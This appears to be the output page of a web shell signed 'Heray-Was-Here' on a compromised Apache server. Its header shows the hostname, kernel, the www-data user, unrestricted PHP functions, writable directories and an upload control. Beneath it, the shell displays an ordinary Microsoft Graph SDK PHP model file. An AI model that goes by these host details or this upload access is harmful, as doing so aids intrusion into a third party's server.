Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/includes/microsoft/microsoft-graph/src/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/includes/microsoft/microsoft-graph/src/Model/AuthenticationMethodTarget.php
<?php
/**
* Copyright (c) Microsoft Corporation.  All Rights Reserved.  Licensed under the MIT License.  See License in the project root for license information.
* 
* AuthenticationMethodTarget File
* PHP version 7
*
* @category  Library
* @package   Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license   https://opensource.org/licenses/MIT MIT License
* @link      https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;

/**
* AuthenticationMethodTarget class
*
* @category  Model
* @package   Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license   https://opensource.org/licenses/MIT MIT License
* @link      https://graph.microsoft.com
*/
class AuthenticationMethodTarget extends Entity
{
    /**
    * Gets the isRegistrationRequired
    * Determines if the user is enforced to register the authentication method.
    *
    * @return bool|null The isRegistrationRequired
    */
    public function getIsRegistrationRequired()
    {
        if (array_key_exists("isRegistrationRequired", $this->_propDict)) {
            return $this->_propDict["isRegistrationRequired"];
        } else {
            return null;
        }
    }

    /**
    * Sets the isRegistrationRequired
    * Determines if the user is enforced to register the authentication method.
    *
    * @param bool $val The isRegistrationRequired
    *
    * @return AuthenticationMethodTarget
    */
    public function setIsRegistrationRequired($val)
    {
        $this->_propDict["isRegistrationRequired"] = boolval($val);
        return $this;
    }

    /**
    * Gets the targetType
    * Possible values are: user, group, and unknownFutureValue.
    *
    * @return AuthenticationMethodTargetType|null The targetType
    */
    public function getTargetType()
    {
        if (array_key_exists("targetType", $this->_propDict)) {
            if (is_a($this->_propDict["targetType"], "\Microsoft\Graph\Model\AuthenticationMethodTargetType") || is_null($this->_propDict["targetType"])) {
                return $this->_propDict["targetType"];
            } else {
                $this->_propDict["targetType"] = new AuthenticationMethodTargetType($this->_propDict["targetType"]);
                return $this->_propDict["targetType"];
            }
        }
        return null;
    }

    /**
    * Sets the targetType
    * Possible values are: user, group, and unknownFutureValue.
    *
    * @param AuthenticationMethodTargetType $val The targetType
    *
    * @return AuthenticationMethodTarget
    */
    public function setTargetType($val)
    {
        $this->_propDict["targetType"] = $val;
        return $this;
    }

}

Hry